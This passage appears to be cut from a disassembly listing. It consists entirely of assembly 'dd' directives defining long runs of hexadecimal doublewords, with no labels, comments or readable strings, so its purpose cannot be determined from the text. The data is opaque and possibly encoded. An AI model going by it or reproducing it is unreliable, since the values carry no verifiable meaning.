4E9C0083h dd 0CC4591B6h, 0F430410Ch, 10017095h, 62B44A21h, 3A5EC18h dd 8FE02B2Ah, 0CE004D3Bh, 0AAF8F181h, 84242Ch, 0B2A4BBFh dd 8CACB1FCh, 769E9100h, 5955D9D3h, 0A16400B9h, 0E108F02h dd 0FB00C7C6h, 0E1F947DDh, 3167687h, 0B968AD0Dh, 2911B3C4h dd 0AE08C132h, 3A08E485h, 0BCC88423h, 28060A03h, 2993290Ch dd 1922842Eh, 51AA60BBh, 88BC8EC6h, 3FC0814Ch, 7A649F60h dd 3C153380h, 3CE020Bh, 4317CD23h, 59031DCh, 37022591h dd 0AF766E1Fh, 770E7FFAh, 20162027h, 0BF1DBB62h, 0C134CF07h dd 1240AA98h, 0A20ADCh, 1002EBB5h, 0E2C286A5h, 111D1F00h dd 0CAEE246Fh, 0FFE700E9h, 48D9F78Ah, 0B4003312h, 0F8031CA6h dd 1EE5F9D3h, 80B7CCE1h, 638CA596h, 2600EEE4h, 0D86517FEh dd 33066DAh, 0D5CDA667h, 0E6F0886Ah, 220060F9h, 3E62395Fh dd 3163EBh, 9A0723ACh, 0E5B8014Fh, 7D334601h, 0C28B4A8Eh dd 0EB5CA06Ah, 0F473AA00h, 55FB91D5h, 0CF760FB2h, 0B534B8Ah dd 9B00E60Eh, 0A5BEED71h, 770F1D00h, 490B17EAh, 6175015Ah dd 28CC7EA4h, 18CA800Ah, 2D5EC445h, 26789755h, 8AD33801h dd 5B99D8E1h, 0E8000CFh, 7D30FF6Ah, 7308C9C1h, 8A4C8Fh dd 84EE403h, 7F00A583h, 43AE8B72h, 39806EFCh, 4500462Eh dd 0EEDB865Dh, 9703F0C6h, 3DA39439h, 0BB001DEh, 0D42E8C1Bh dd 0CD74FC79h, 0ABF9FE00h, 0A57AB145h, 261F1CDBh, 6FD18068h dd 0BD20774Dh, 2DBB1300h, 0ECFBA5EAh, 0B410002Ah, 0AFF1C738h dd 91735831h, 47A62D00h dd 0D2C8A9AEh, 0BA990028h, 0B9CFEC96h, 0F07FE70Fh, 0A47058C0h dd 7A2B124Fh, 0D51F00A6h, 0A88B37B1h, 0FC01EFE9h, 80C71667h dd 3EC7761h, 9C50085h, 0DFA2EDD0h, 601C5A08h, 0FC9F1DEBh dd 842F7B80h, 39915953h, 9A80A199h, 95AF0503h, 5000E0D8h dd 68E74131h, 1DFD8B18h, 1797602h, 213DE5EFh, 17BC3086h dd 387CAA3Bh, 4C5D0092h, 832531B4h, 58641EF6h, 5A2C803Eh dd 0FB38828Ah, 0A2A78500h, 572E2D9Eh, 465030CAh, 0FF017042h dd 3B0023FEh, 6DABC4A3h, 33AC7D5h, 2192FCC0h, 7B90BD6Ch dd 5900AA2Dh, 0EA5A2707h, 662452h, 0BFD55350h, 8D103EC7h dd 8ECA640Fh, 0C5AE2Ch, 0A755ADB5h, 0A4FD00CBh, 1C381131h dd 6B0328F5h, 88307C65h, 0D3A0B985h, 913060FAh, 0C922Fh dd 0EEF383EAh, 57E13E9Eh, 72C91300h, 90799FD3h, 911F0064h dd 41C79826h, 0F0E33A2Ch, 0B600FAB2h, 0A3F2D1D6h, 7BC656h dd 6D5C7D40h, 361A1C34h, 8500A2F8h, 2A41B0Fh, 23C0388h dd 0D2ECF495h, 0CC4073C7h, 8E7A1CC1h, 4A6BDB00h, 16D9783Bh dd 40BA001Ah, 3324EC4h, 0A804AE8Ch, 3EC35CF1h, 9EDD080h dd 91B13E34h, 4A06458Fh, 0E6C8C0BCh, 61DD63A5h, 0F69D6900h dd 0ED7080BCh, 4950094h, 6CFB6EC1h, 347399ABh, 0D73FA200h dd 0D0EE5677h, 85EC87h, 3B2E5718h, 34C5E623h, 3B4D204Ch dd 3CAE000Fh, 0A162DF48h, 0CA30FB13h, 348648D8h, 0D2ABF0Eh dd 4D024248h, 78DED53Dh, 0A4F04Dh, 0F584FFCBh, 2D6C54F4h dd 3A69221Dh, 92A7D00h, 0C3D516h, 8934E5F3h, 0A4261C37h dd 88808200h, 0EA35B95Dh, 349065h, 377E1871h, 36CDAAC3h dd 8A40C70Ah, 6800E459h, 0DB6956A6h, 7D1C00D2h, 0B9871F88h dd 9966ABh, 0EC532C80h, 90F36452h, 7C5600F8h, 5875886Fh dd 0EF00DAD3h, 84093FCBh, 386990h, 77AD7E52h, 0C8A15512h dd 0B748FFF2h, 0CF100D4h, 0CD15CFB8h, 0A061001Eh, 0E771FDD9h dd 7509120Fh, 341DC5h, 0A3180C8Ch, 0EE31311h, 0F594005Eh dd 50FE10ADh, 41039079h, 898F5F6Bh, 83B81C22h, 690658C0h dd 0F0003429h, 61F510EBh, 5B861Fh, 63AF30B2h, 8FA2D85Ah dd 553D8A0Fh, 812C800Bh, 244BDA6Ah, 3978CAAAh, 0CC40694Ch dd 0F5FE309Ah, 0B71E84F9h, 228B3809h, 3C4882B6h, 0AEC080DBh dd 9819F412h, 24B37622h, 80F9A1h, 6C5687D9h, 504CB952h dd 80C63B5Ch, 0F9FD0D1Dh, 7573F6h, 0C785713Ch, 283715FFh dd 0A39D3606h, 7E9218Fh, 9B0F5C7Ah, 0AF75E0ECh, 5600EDF2h dd 9220FD61h, 18F12AE5h, 0B0B1A767h, 1C9879C1h, 0AC88AF00h dd 58D8F610h, 0B13F00C5h, 74E67703h, 6C00261Eh, 0D2BF49E2h dd 6DE256Eh, 598542A4h, 9703B803h, 0BE6C72B0h, 861CD85Eh dd 6D0100CDh, 68E0E57Ah, 1B07D449h, 7DD22A0Fh, 744434F0h dd 90920023h, 0E0B6A350h, 0F0ABC6Dh, 0E063D7B7h, 28416900h dd 0FBDDCB2h, 6D02CBDDh, 9C9F3EA0h, 66047FA1h, 0F8942BFAh dd 81BE3C90h, 0FDE024h, 0AD8CCA10h, 8DA35A19h, 0BBED6F0Eh dd 6E67003Bh, 1FE14Ah, 0C5C3719Bh, 14E8F5FAh, 31286300h dd 35DA1BA0h, 0CCEC001Ch, 0DC32D096h, 0A703E39Fh, 0A55F63E7h dd 683989E9h, 0F6A4D8h, 0DE73E81Ah, 75E4C3BBh, 0C06B3A13h dd 27833800h, 548B2h, 0F253D7EFh, 0F125ECE2h, 388AFC00h dd 2F5C6CB3h, 289BF011h, 0C85424h, 0BAF141B9h, 0B58E9CA0h dd 0B005F870h, 4808E151h, 5D1D9CC0h, 0A02B0016h, 0C1D204CEh dd 397238E7h, 269B8500h, 6C7D60BAh, 45110441h, 806BBE31h dd 7A0DFDECh, 1493700h, 83BF343Ah, 5490D7h, 0F70E45AFh dd 53BD736Bh, 38B93600h, 28A18DDBh, 8213002Fh, 8B2EB091h dd 0C19017FFh, 2D132898h, 403759Bh, 0C0DA7C01h, 1E030813h dd 42C2DDC9h, 0AB51789Dh, 24DBF480h, 0D7384B35h, 4A9082BCh dd 60D31CDFh, 58429FA0h, 58803CDAh, 0B12EC266h, 6500E898h dd 0EFBCE4AAh, 8576DFh, 665B58C8h, 175F5418h, 0F8BECF24h dd 9EACD188h, 0CB1449A6h, 3B88000h, 0E8F3E1D0h, 0CD00BA7Fh dd 0E9FCD6F5h, 2EDA5C63h, 0F9E6749h, 23425F41h, 0C48058CDh dd 133426FDh, 96F3DC0Fh, 23866FE6h, 0B0BA7312h, 9876F908h dd 0E8FF0014h, 7C8A53A3h, 110EB62Eh, 3C9F690h, 0B53BFB77h dd 3EE28481h, 0D25130h, 0B5307091h, 583D4E63h, 9B8C6500h dd 0A4F0153Ah, 0FD763D49h, 6EB87F00h, 26FF3005h, 0F41E19FEh dd 405FF2ADh, 181C8440h, 0C86D6AEh, 0FAF7CB06h, 7A1F1E99h dd 401E4F2Ch, 75C0E640h, 1C1DC8h, 0EB5A59EAh, 88711E5Fh dd 57ABC200h, 501B8582h, 98085034h, 0E85D00D7h, 0F23DF79h dd 2900C5BBh, 4F84A5BFh, 3C7F704Dh, 0E0838BE3h, 6EF2BCF3h dd 0AFE5DCA0h, 0C79BE800h, 27A970D0h, 4342006Bh, 0F3900514h dd 0AC1D22E7h, 0F2004A53h, 3B670CB3h, 65D5001Eh, 0CF5D60DDh dd 3007B8C8h, 4BEBDCFAh, 0B1DBF000h, 0B4C0024h, 0D5A3C633h dd 4CB05387h, 209EAB25h, 2BA9DF98h, 1D6900F9h, 6602A146h dd 1A00552Dh, 6D7A0A48h, 98A6538Ah, 0C8F85895h, 47254007h dd 33C90093h, 0DF982306h, 480CD007h, 2F2078CEh, 97A714h dd 296F5A9Dh, 0E3E68346h, 9207FF04h, 22806E4Ch, 0A04EC9D7h dd 68CDE0h, 8BA5D5A0h, 0A149957Ch, 0B65E2500h, 2C2DEBE6h dd 0AD26017Dh, 1119362Eh, 0F0BD609Dh, 4E0001F0h, 77B269FFh dd 73745Ah, 0DCC354BCh, 24FD09C7h, 0A5C0361Ch, 9CF48Fh dd 6E5A8270h, 71D60057h, 0E4606C5Dh, 0A201AA63h, 0FB8FC998h dd 8208B55h, 0ECBD3AD8h, 0DCE7821Fh, 2F884717h, 7C1AC02Bh dd 0EA1C4B40h, 797AAD7h, 0E2FE7800h, 0A7D203h, 194E4CA8h dd 757CA343h, 0D73270Eh, 0A022076h, 9340CFh, 6152F603h dd 0E07264F5h, 0DEECE707h, 6637FBB0h, 0A7BC01D3h, 0C5206A90h dd 0B2E5002Bh, 0D4A5E23Fh, 6700D0AEh, 6DC2068Dh, 0B87DBF98h dd 39790061h, 7ED4EAD5h, 1500288Bh, 308D9FCEh, 6C9A741h dd 371C5866h, 1F001033h, 0C62024FCh, 0FBBDEEh, 0F4C8C43h dd 361A014Dh, 6013D300h, 5276D86Eh, 7249F263h, 93CD0314h dd 2BE2FF17h, 0CCC7ACF8h, 0F4DE62Ch, 60E8890Fh, 9C52787Bh dd 30EE002Ah, 7D774BAAh, 4A3F4644h, 155300ACh, 0C88CE122h dd 49423997h, 0A2EE1380h, 0EAA00179h, 7DF1C600h, 9616E6CFh dd 0DAFB0085h, 0CBF47E9h, 7A004849h, 6687998Fh, 0E522F2h dd 0C6466317h, 7BB48886h, 0D44548h, 9F2A3541h, 3304EFCh dd 1A2479C5h, 0BB99C205h, 8DD7F4D4h, 26C4CD13h, 0D189700h dd 0CE5F60h, 2A34E7F0h, 33560EF5h, 79194800h, 588BDE14h dd 0E316005Fh, 2310F343h, 2F003F69h, 8C5340C8h, 484EEBA5h dd 0D000E9F4h, 0D1306072h, 5900A4B0h, 0EE88D908h, 38B5124h dd 0B944BF94h, 980478Ch, 1D58166Bh, 660070BCh, 32B3A471h dd 0D61CEFh, 0E10F889Bh, 14FAE6D7h, 927D561Fh, 509FEDC0h dd 544207h, 595A213Bh, 8DEB8F25h, 3F1C8A12h, 0ECAAD80h dd 0EEF1077Bh, 305DA71Bh, 1A797A4Ch, 6B1ED007h, 5F50FB98h dd 4C3B486Fh, 8F00CC24h, 0ECA2C2D8h, 19269694h, 113072BFh dd 0D9B93Eh, 21EBB0DDh, 8AE4F17Ch, 95C00800h, 0F2ECE074h dd 0B01A0084h, 0B3A87871h, 61002DB1h, 4720F76h, 0A0AF5DCCh dd 684E89h, 42CFD21Fh, 0ACCDABD7h, 6F2C9B00h, 8373A92Eh dd 808F03D8h, 25CA6EB2h, 0A8DC72B8h, 0A24D2300h, 459E6507h dd 0E0D000B8h, 5D3244EAh dd 2E00F4E4h, 0A87521DFh, 50A7359Fh, 0D58426h, 1747310Dh dd 6016B2E6h, 0FE27339h, 83885DC1h, 99C57FD8h, 2B60430Ch dd 0C36300C4h, 50A8E48Dh, 20CF101h, 19F5D3BDh, 5E2F1E87h dd 0E79E392Dh, 31E6C032h, 0C7173786h, 0A0EFE6CFh, 2F36B6BEh dd 78F230B2h, 967B2088h, 0FD2D7000h, 0B9154A1Ch, 0C83701FBh dd 5097538Fh, 14B530E2h, 0AE01D5F4h, 73243CB4h, 0CE40FF07h dd 0DB4E2Ch, 0C56F9357h, 0BA2FCA35h, 9B011090h, 0B4C712FDh dd 60CEDB2Ah, 7535469h, 566AB1A9h, 9878E1B7h, 0F479E9B3h dd 0A11FBAB9h, 9140FFEEh, 2E255A2Bh, 0B2052E90h, 0BAE60070h dd 0D23FB3F8h, 2CE4DE00h, 0C6A6CE4Ch, 46EF00F0h, 0A3C37EF7h dd 570797D1h, 903785C0h, 1D6A3900h, 53B700FDh, 0A3EE689Ah dd 0C5001456h, 0F7F20DEh, 7DA65Fh, 51C282Ch, 4FBE22Dh dd 0B6173478h, 20031EFEh, 48F09DD1h, 5500BBD8h, 332DB904h dd 5907C43Fh, 0A130B2ECh, 8E389AF1h, 3A48F8h, 0D4167B61h dd 2D122285h, 0C6198000h, 9004EB97h, 82520045h, 0E45C7267h dd 1E002391h, 0E197AC88h, 0CC9C96h, 0D2B35420h, 0FC3AF3EFh dd 0A85E5303h, 0F8C3A692h, 6F1480h, 85C7C23Eh, 94252707h dd 0F1B90100h, 0FC57D60Bh, 0E48924B6h, 0D3C6035Dh, 0F0AF9B86h dd 569EBC5Ah, 11CE2303h, 10821C9h, 0DA06CC30h, 0E4C3698Ch dd 727C2B6Eh, 405CBCA0h, 343EA7F0h, 0C4528039h, 9ECDB729h dd 19351E73h, 1DDE6h, 0AC853FD5h, 55099CD3h, 8E5DCFC9h dd 6BFE0104h, 40E6C0EBh, 0BCEAD4h, 0D6359941h, 86155A89h dd 0FB3C6D07h, 0C4A01490h, 495169h, 7388E74h, 86E61534h dd 76DF1100h, 10317BC9h, 1C80004Ah, 7E694FC5h, 4097CE2h dd 0A0E47955h, 7541F50h, 0FCC10348h, 6AD119ACh, 8F6089BAh dd 0F603AD41h, 6362E69Eh, 6405A06Bh, 7F5C1DD9h, 5DC20E59h dd 1D1CFBE3h, 0FD2014A8h, 4150E500h, 0FE49BC90h, 92C400DCh dd 37B21662h, 55005F3Fh, 0C17E729Ah, 3DB3977h, 5DC3EAEFh dd 50BFFA6Dh, 6F15B022h, 38FB8700h, 72E2ED71h, 18373065h dd 1A0DEB70h, 1C69E300h, 7A8D9964h, 0FAC7002Fh, 868CAF50h dd 39015628h, 17CEBB6Ch, 0DAF8D0D4h, 2DD20046h, 902B2AADh dd 0AF003523h, 0D464B272h, 0CCB133h, 46A4185Fh, 4A24A0F0h dd 0E09EF100h, 0EE29B666h, 0D6580021h, 0B9801890h, 0CDFE0664h dd 44891D02h, 402FF051h, 26F91645h, 1F6C41EBh, 0CDB6700Bh dd 6E741AD5h, 95001492h, 846F08BCh, 384FD221h, 7C487E2Dh dd 0E896C700h, 0F650AD01h, 0E1A0500h, 0EA3D452Ch, 0BBF40075h dd 63DEAE58h, 0B1E2B06Fh, 0D900A07Ah, 90F8190Bh, 778EC9F1h dd 0A8560154h, 1129FB30h, 0A6E830ADh, 0EA788305h, 0BB82F735h dd 0D78DC0E3h, 7B9A00D9h, 23A6FC8Bh, 90723171h, 0C26BE800h dd 0E6B47AAAh, 9D220021h, 0AE032ABDh, 0F505A72Ch, 5758EDD8h dd 0C3C079C7h, 4CC1F82Eh, 9900987Ah, 0C9C674A9h, 180311E7h dd 0E2BD2182h, 0D050FF64h, 3F66DB8Dh, 0D58E37AAh, 9531DE5h dd 0EC009D88h, 2BE9387Eh, 65705F00h, 0A9CEC584h, 4F7341h dd 0B77BAC06h, 0A09236C1h, 0E8EFD909h, 0AE2010CCh, 194B003Bh dd 0F6310B4Ah, 2B000487h, 2AB31153h, 49059Ch, 0C223AAFCh dd 7A36650Dh, 0EED89800h, 0DA4362D9h, 59FF01BAh, 7BEB9126h dd 5E493065h, 7EF8BC50h, 8CD6F30h, 3AC1707Ch, 1080FB53h dd 7994D4B1h, 0C3002EE3h, 9DAA5609h, 6E13Ch, 0BCA63FE7h dd 36851255h, 0CD218800h, 5DECD670h, 0B11E5022h, 0C882496Dh dd 0F63DF700h, 0D10C0B61h, 0C86C690Bh, 0BE3E803Ch, 0E462BAAEh dd 79C40056h, 96201EFFh, 937313A0h, 6700C8E4h, 0AF9D4E88h dd 0E722ABFh, 0D5E611FFh, 366B2400h, 0D4006080h, 4812E83Ch dd 4B4F2A21h, 45B70016h, 0C7250E5Eh, 42B05102h, 0C1660DB6h dd 38827B87h, 0AB33C6D6h, 50F1F080h, 3201A1A9h, 0E5093151h dd 30F03625h, 0E62FF41Bh, 4B8B1E07h, 6A5B4017h, 3490E3FFh dd 0C6D1C403h, 903AE4ECh, 1E96B420h, 40849240h, 1E51F697h dd 78B099ACh, 0E9651700h, 0C0C6CA68h, 0BCFC02h, 8A83C1B5h dd 0DDDBB7B4h, 84703700h, 0EF9FC382h, 48CB2830h, 8B9B3E94h dd 33CC6480h, 38242CBAh, 6C2ACD00h, 0A4537B65h, 4BD60017h dd 114322F3h, 0DB31C449h, 9831185Ch, 11965825h, 2898022Eh dd 0E040D215h, 84B056E1h, 0E9061D00h, 9F464501h, 0D8C00060h dd 8B8AA935h, 6200EB40h, 2B5EDCBFh, 9FEE7Fh, 9827C2E9h dd 0B77477DAh, 0B36C5B00h, 0E6F661CDh, 0ECDB000Ch, 6249BA31h dd 0E11FF138h, 6A80245Eh, 1B3ABB5Dh, 0E340A0ECh, 61189216h dd 2212FE6Dh, 0D02CD1A2h, 0AE3056B8h, 0C07121EDh, 1A6B00E3h dd 226DBBC5h, 0B100B2BAh, 1819BFEFh, 17EADDh, 326EDE4h dd 0FA1C011Ah, 0AED71D00h, 2E0891C6h, 7013007Eh, 0CA6DE3C2h dd 1C1756C5h, 385FE5F6h, 16E46F40h, 0CFAEB2Eh, 4FDF5975h dd 6D48A668h, 195D7EF5h, 7B670078h, 0F6C454DAh, 857607Dh dd 3AB95D74h, 0D9702554h, 0B220ED42h, 9221C213h, 471F1501h dd 0FCC03980h, 274008Dh, 308C1E42h, 0D209EB2Ah, 0F9D360h dd 0DAE62232h, 0B0560793h, 0DBDC9265h, 0A3BBD880h, 2207CE01h dd 45052CF4h, 9C4ABA60h, 513E00E8h, 0BFF7EEDFh, 28010378h dd 6BE40D1Eh, 0C8E4E3CDh, 30F27986h, 3FA0DA0Ah, 6A07DF15h dd 0B1D9D493h, 0B8A4B3A0h, 0D4C148ACh, 0BE6DEB02h, 9FC0E14Ah dd 0FBE4D588h, 3B009C75h, 36F3AF98h, 4201785h, 0B9C75B13h dd 53D890FEh, 6B004F1Fh, 3B2E3EE2h, 45AF519h, 3006465Bh dd 96C88861h, 8E1B8B00h, 0CEDE6E7Eh, 0AC28483Fh, 588AA889h dd 668060ACh, 24003C10h, 0AD553FE8h, 1C469890h, 0C06994B6h dd 8813A923h, 640050DCh, 0E3E08EAh, 27FDD3h, 0BE2B7EF6h dd 0FC9019B1h, 0E14B2300h, 820A7C2Eh, 0B9F40096h, 80D3F344h dd 0A70089B0h, 9EF7586Ch, 7F1766B5h, 0AB50003Bh, 129161B2h dd 7F0E4373h, 436878ADh, 141985h, 3CEFAB48h, 2C2666D6h dd 0D7268490h, 0A04F40DFh, 7E320150h, 0E1B96036h, 0F7FB6D5Fh dd 38C2ABFCh, 0BAE76Ah, 0B3CB60BBh, 0FFA9B700h, 1D8D04C3h dd 0AB690042h, 60A21ED1h, 4A602B73h, 894F1CA8h, 0BE7700DEh dd 2183DCF2h, 0DA003328h, 1AEA716Fh, 38B48F10h, 4FB8A1C6h dd 0D26B4880h, 0C43C03F6h, 0E70C60B0h, 66CAAA80h, 0A14C0094h dd 1105A8D7h, 0DFB065F2h, 6782A90Eh, 77F320B4h, 168F1678h dd 0F47F38h, 0F7216664h, 2000E62h, 0B923F8E3h, 0F7A15594h dd 4132084h, 0B22CA0D7h, 864EF602h, 0C38F5091h, 765CC894h dd 3C2E003Dh, 0FD5B53DCh, 980023F7h, 7EAB844Fh, 2CEBA66h dd 0C9EF92B4h, 9482FE77h, 0CC06162h, 910C9D04h, 91713A81h dd 0F137007Ch, 1698EA6Eh, 0EC0094F6h, 0C8A83FA5h, 0E2D11F2h dd 0E3041B3Bh, 39FAD500h, 3C009FCFh, 7B5483BEh, 1E27AB1Dh dd 9DA1Bh, 0FC3FE3E0h, 550297B5h, 833ADB39h, 84FC4974h dd 127A04Ch, 9D5EA641h, 0EFE602DCh, 0CF3BE000h, 0E208DECCh dd 0EA47075Fh, 0A0822DDBh, 1D419D7Dh, 0F5DA700h, 8CFBC8BAh dd 178E6DDh, 1CA1D4D6h, 0E8775F93h, 3E00BC52h, 0E45A0C24h dd 3A794996h, 0D6017D17h, 219585A2h, 0A85B2038h, 0D582DB00h dd 98A31F3Bh, 6C5E0609h, 90812353h, 859FAF00h, 1B661E12h dd 3CC84957h, 54E8E600h, 2B345506h, 29B99A00h, 8D0E7168h dd 0B17A1DA5h, 49F5403Eh dd 459BD6AAh, 5BFD761Dh, 31EB9540h, 737E71h, 0CD252720h dd 2918DC35h, 5C9E81F4h, 94F38000h, 0E498A27Ch, 1DC95883h dd 58C16900h, 97B302D9h, 3E095900h, 6BBEEB5Ah, 33C30077h dd 0FD88D228h, 3A1E7942h, 0F7C0F012h, 928E57E3h, 754B0104h dd 0B7CC61E8h, 0D19F03Bh, 0F6DD1300h, 4A9D259Fh, 72B90FABh dd 32037684h, 80F8886Eh, 8700279Eh, 4E8BEA3Eh, 489757D5h dd 1500C5A1h, 0E9FF265Bh, 6E1F0392h, 93C0BB28h, 0B1C09FE8h dd 0A6B704DDh, 0A090EC78h, 609CA590h, 0E7F1FC60h, 10940A53h dd 0DE5DD0h, 0A714D9E3h, 0CB1F1FCCh, 32406095h, 8043C99Ch dd 7D582E78h, 0EB3C0195h, 0E4CCF540h, 26075738h, 13D1ECFCh dd 891DA09Ah, 2B409787h, 0D82731C3h, 0EE43CFh, 1473BE90h dd 0E36265CEh, 481A9138h, 0D3750070h, 6CB9241Ch, 5C95494Ah dd 3FC94D00h, 965138D7h, 0FC3D7074h, 0E4BB0053h, 867BBFD3h dd 0ABDD0057h, 0F6BDF224h, 0FC0353F9h, 0D8CEC973h, 9D1002F7h dd 0AC510AC1h, 6ABD9E60h, 47697E02h, 40B83171h, 18684F8h dd 0E54B8295h, 21DA0757h, 7801D8E4h, 0A0AE88h, 0D2B60A1Bh dd 255A719Dh, 0B190ECA0h, 6C8F9E00h, 0AFA27867h, 134E3EB9h dd 6800033Eh, 74DFE120h, 8F002D64h, 1DA29206h, 3F57D6h dd 8C734217h, 5968976Dh, 49E636B8h, 0F6F43350h, 41C45A00h dd 0F1256CDCh, 0E48B0024h, 1308F983h, 0B001C6Ah, 0AFE1156Eh dd 48532F8Ch, 4400E450h, 0BA77A639h, 0A703B406h, 2427E16Bh dd 0FD3DF096h, 0F6B524BEh, 659B0BC4h, 2FE487h, 7B56ACE8h dd 86CE6700h, 3AD7D2Dh, 0DF33CDFh, 42D3F880h, 7CE2D197h dd 85D5A000h, 2AE86E55h, 143A0026h, 9CAC49C8h, 2CE2D261h dd 0E31D803Bh, 0DDA0E6C8h, 0DFA5A061h, 5E9AC460h, 60FC0Ch dd 0D14E81E4h, 1C2A6DD9h, 19E9652Bh, 0E55C5EF2h, 0A4B0FC0Dh dd 0D13F9500h, 9373B24Ch, 0ABED001Ch, 0C0A0F577h, 0D400EA32h dd 0CFDF627Bh, 5870D0h, 0D79669F6h, 0A58EA3FDh, 0FC423Eh dd 0A7311BF1h, 0AF4CC8h, 0C5481828h, 59B5EBC9h, 80087D0Fh dd 0FB4480B4h, 132F3Dh, 6E05C54Ah, 0B0A89B60h, 307AE658h dd 899F385Ah, 0E7950F53h, 0E30072C8h, 4B983517h, 64E8A824h dd 4D660382h, 0B856055h, 0A2D34819h, 0CEAAD700h, 0E07282B3h dd 1F42EC12h, 0E20F9800h, 0FA9306h, 0C5AF4396h, 3BE48757h dd 2FC61507h, 487956E6h, 4922354h, 668D6DC3h, 408A22Ch dd 3454E515h, 0B76DB100h, 10A92266h, 224021Fh, 8851345Dh dd 28D18AD1h, 856FE8h, 56A7F779h, 7095A10Ah, 0B3F2DCF8h dd 4BFEB100h, 0C33B19F4h, 3A490027h, 0B0DB5655h, 791394DEh dd 4A07CF1Bh, 0E2C09BDFh, 30220A4h, 0A2E923F0h, 6812382Ah dd 8891AA65h, 60400B66h, 33C5EA6Dh, 0E511C04Fh, 3ECF2EC0h dd 0D82C38D7h, 0E3D8313Bh, 914C54D9h, 0DBA157F8h, 48C21CEDh dd 0E500DE8Dh, 0A9895845h, 8894CF15h, 0C6F4BA60h, 2D7600FEh dd 7F85BD38h, 8400FCC9h, 0F105BF55h, 3D5C27BAh, 0CE806591h dd 28CB9BCFh, 0B5001153h, 0C673DA51h, 428102h, 8392E61Ch dd 5D7F2193h, 0E1548400h, 0A1AAEF0h, 0C7890F19h, 56C07202h dd 0C1641FCEh, 0D1668100h, 4ABFD633h, 0E431702Dh, 2F40006Ah dd 753B56ABh, 0C10036EFh, 0C2A2E43Fh, 0BD693h, 64217A52h dd 5E6ECB13h, 69785Ch, 1DE3CC94h, 15D64406h, 0A4DB510Dh dd 0A6D30779h, 0C0AD9976h, 0FE508FB4h, 22E958h, 3A61F758h dd 98ACD60h, 4C119C31h, 37ECB603h, 24201BB9h, 602FCA8h dd 0B555CF7h, 470861D4h, 0C028E9D5h, 0EE6D1CD3h, 442C81D0h dd 0EC0173D0h, 0DC98AA34h, 3160BC00h, 4749C2DBh, 0F4650E6Eh dd 0DFA00967h, 7C4157F9h, 0C2883E00h, 0B2F6BC5Dh, 4D6C07FFh dd 2D201Fh, 0C12660D8h, 17C49E48h, 0A30FA2A7h, 26C800Fh dd 2F37A4h, 0AB45F06Dh, 0E80428BDh, 179C5900h, 4DA62513h dd 3A8F00F1h, 0BAF32B54h, 0AE03E5CEh, 13736FA2h, 37F1B895h dd 69A40001h, 0D110D7A1h, 0D600472Bh, 9FDA6F2Ah, 58CFE8F6h dd 420354FAh, 0B37BD0C7h, 597EB000h, 9DB95B7h, 366E805h dd 0E13B6A77h, 0ABB0BAEAh, 0D40015BCh, 8CF99EF6h, 5AC484h dd 0A66208Dh, 0D54AA923h, 2511EE00h, 9F9D0157h, 2AFC01DFh dd 0C4AB8607h, 4EAC2438h, 2B16800Eh, 0A12FAB61h, 0F2A6D5C0h dd 0F1060AEh, 12EFBDA4h, 0FF524782h, 7D001058h, 0C648EFAFh dd 0DF5ADD8h, 0E76E9823h, 0ECE8EA59h, 0DD0084A0h, 0B69E968Ch dd 4806FE6Ch, 0D3003214h, 53D0C55Fh, 3E3BC07Bh, 0B12BE24h dd 91F279h, 104FD864h, 44F80020h, 30082B7Eh, 0C73F36F6h dd 0FDEF0B19h, 0A5E04041h, 0A35612CBh, 95B89060h, 0BC4A4F8Ah dd 6C4AB021h, 2433E07Ah, 9FFEE000h, 0A1F38F42h, 0B0A90750h dd 40A3AC7Ah, 43DDCC85h, 0FB151000h, 0BEE8B370h, 0D4F30772h dd 615966D6h, 479B610Ah, 0BA67E0DCh, 0F9C0222Fh, 55088065h dd 950F05B7h, 0C0DDE0AAh, 4590FAD1h, 78C27100h, 0AEE71547h dd 2FD10AB4h, 1E412A1h, 7BB9DE1Bh, 3005C948h, 210008EDh dd 17876677h, 0F96E72h, 792938A2h, 92F4C2FFh, 0EF2A0500h dd 0C28522Eh, 0E29E011Ch, 83D8031Dh, 71E0E0F3h, 0F7D94100h dd 57AA5CFCh, 0B6C4005Bh, 9822BC17h, 0B9C46248h, 9E2099FAh dd 0DD58F1A7h, 3CDB0044h, 38CEEE45h, 74E748F7h, 648F5939h dd 0F9007A60h, 1D0E5F1Bh, 8B669F00h, 4D6DB4F7h, 4B8A24A2h dd 0DECA0077h, 0CBC7758Dh, 0AB6CEF1Fh, 6AC41682h, 0B0582Ch dd 1D93709Ah, 571B7DB5h, 0C0BB4F26h, 0F8988192h, 0E2F01591h dd 7A00E417h, 1C926BC5h, 0A0030B7h, 0A18A8702h, 54A4783h dd 0F296C7DBh, 0F5F4824Dh, 0F4682462h, 0FF09A02Fh, 0C11E23AAh dd 0DBFCD2B0h, 477000AEh, 6F48D77Eh, 2109EB10h, 80D01FA3h dd 3CD51DD5h, 23B20BABh, 708EEC77h, 0DF5CEAF8h, 83B3E407h dd 46B0C6ADh, 0C412FFA6h, 0C0ABCD40h, 8E0F6E8h, 7874B300h dd 26755BB9h, 495500E8h, 1F2EBEADh, 0CB00841Ch, 9CAB7BB0h dd 3514C1h, 6C5ECD80h, 703F60C4h, 0F8A83D01h, 2E39C881h dd 52075C8h, 596CBA0Eh, 66F8B0C7h, 0AB73C900h, 2C82A86Ah dd 1D2A4A92h, 3B6CC0ECh, 75798DEBh, 43C9CE00h, 3D5EA66Eh dd 0DA7E0F16h, 0F34F5811h, 377C3FA0h, 86E2B244h, 60AFB901h dd 0A7256CBCh, 4AEA9464h, 0B3D005D7h, 67B0415Ch, 50136C33h dd 0A861DECh, 7E93C600h, 0DCDFAE2h, 9A0B7C67h, 94C0002Ch dd 5FF5246Ah, 32005A42h, 0DE4867C6h, 9A596449h, 7617AF4h dd 75B995DBh, 5F919044h, 8B7207CCh, 14AB49h, 76EB1479h dd 26C96EC6h, 3EAE6526h, 1CC37380h, 0A9CC25B0h, 802E233Fh dd 991372F2h, 916CD28h, 0E8BA807Dh, 0B295CC43h, 3285056Ch dd 1080CC16h, 4099D5h, 0AD4A21EEh, 0D89BAF9Ch, 0A938B600h dd 0EA36F939h, 37661E64h, 5AF6DD21h, 6C80501Ch, 94E28BE5h dd 61655Ch, 47CDF79Eh, 3875674h, 0E84CDA55h, 0C6D8694Eh dd 3200FF72h, 82ADD42Dh, 0DEF42Bh, 8DDB6570h, 0ECF353F0h dd 55858C00h, 6AC3952Dh, 64120020h, 0D5D2E3AEh, 0B900AF15h dd 0F6508232h, 4ED421h, 751B8C72h, 0F8F20556h, 0B0877902h dd 0F52D132Ch, 600AA040h, 0AB40739h, 0A0AE46F3h, 0EAC0D000h dd 7C774E37h, 42944C84h, 5897F001h, 